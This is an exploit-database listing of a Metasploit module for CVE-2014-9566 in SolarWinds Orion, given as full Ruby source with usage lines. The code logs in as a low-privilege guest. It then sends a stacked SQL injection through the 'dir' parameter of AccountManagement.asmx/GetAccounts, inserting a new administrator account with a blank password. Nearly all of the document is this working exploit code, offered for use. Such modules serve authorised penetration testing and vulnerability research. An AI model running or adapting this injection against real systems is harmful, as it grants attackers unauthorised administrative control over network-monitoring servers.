Solarwinds Orion AccountManagement.asmx GetAccounts Admin Creation Exploit

2015-03-03T00:00:00
ID 1337DAY-ID-23351
Type zdt
Reporter metasploit
Modified 2015-03-03T00:00:00

Description

This module exploits a stacked SQL injection in order to add an administrator user to the SolarWinds Orion database.#### Usage Info msf > use auxiliary/gather/solarwinds_orion_sqli msf auxiliary(solarwinds_orion_sqli) > show actions ...actions... msf auxiliary(solarwinds_orion_sqli) > set ACTION <action-name> msf auxiliary(solarwinds_orion_sqli) > show options ...show and set options... msf auxiliary(solarwinds_orion_sqli) > run

                                        
                                            ##
# This module requires Metasploit: http//:metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 &lt; Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' =&gt; 'Solarwinds Orion AccountManagement.asmx GetAccounts Admin Creation',
'Description' =&gt; %q{
This module exploits a stacked SQL injection in order to add an administrator user to the
SolarWinds Orion database.
},
'License' =&gt; MSF_LICENSE,
'Author' =&gt;
[
'Brandon Perry' #discovery/metasploit module
],
'References' =&gt;
[
['CVE', '2014-9566']
],
'DisclosureDate' =&gt; 'Feb 24 2015'
))
register_options(
[
Opt::RPORT(8787),
OptString.new('TARGETURI', [ true, "Base Orion directory path", '/']),
OptString.new('USERNAME', [true, 'The username to authenticate as', 'Guest']),
OptString.new('PASSWORD', [false, 'The password to authenticate with', ''])
], self.class)
end
def login (username,password)
res = send_request_cgi({
'uri' =&gt; normalize_uri(target_uri.path, 'Orion', 'Login.aspx')
})
viewstate = $1 if res.body =~ /id="__VIEWSTATE" value="(.*)" \/&gt;/
cookie = res.get_cookies
res = send_request_cgi({
'uri' =&gt; normalize_uri(target_uri.path, 'Orion', 'Login.aspx'),
'method' =&gt; 'POST',
'vars_post' =&gt; {
'__EVENTTARGET' =&gt; '',
'__EVENTARGUMENT' =&gt; '',
'__VIEWSTATE' =&gt; viewstate,
'ctl00$BodyContent$Username' =&gt; username,
'ctl00$BodyContent$Password' =&gt; password
},
'cookie' =&gt; cookie
})
if res.nil?
fail_with("Server didn't respond in an expected way")
end
if res.code == 200
fail_with("Authentication failed with username #{username}")
end
return cookie + ';' + res.get_cookies
end
def run
cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
username = Rex::Text.rand_text_alpha(8)
print_status("Logged in as #{datastore['USERNAME']}, sending payload to create #{username} admin user.")
send_request_cgi({
'uri' =&gt; normalize_uri(target_uri.path, 'Orion', 'Services', 'AccountManagement.asmx' '/GetAccounts'),
'method' =&gt; 'POST',
'vars_get' =&gt; {
'sort' =&gt; 'Accounts.AccountID', #also vulnerable
'dir' =&gt; "ASC;insert into accounts values ('#{username}', '127-510823478-74417-8', '/+PA4Zck3arkLA7iwWIugnAEoq4ocRsYjF7lzgQWvJc+pepPz2a5z/L1Pz3c366Y/CasJIa7enKFDPJCWNiKRg==', 'Feb 1 2100 12:00AM', 'Y', '#{username}', 1, '', '', 1, -1, 8, -1, 4, 0, 0, 0, 0, 0, 0, 'Y', 'Y', 'Y', 'Y', 'Y', '', '', 0, 0, 0, 'N', 'Y', '', 1, '', 0, '');"
},
'data' =&gt; '{"accountId":""}',
'cookie' =&gt; cookie,
'ctype' =&gt; 'application/json'
})
login(username, '')
print_good("The injection worked, log in with #{username} and a blank password")
end
end


#  0day.today [2018-01-01]  #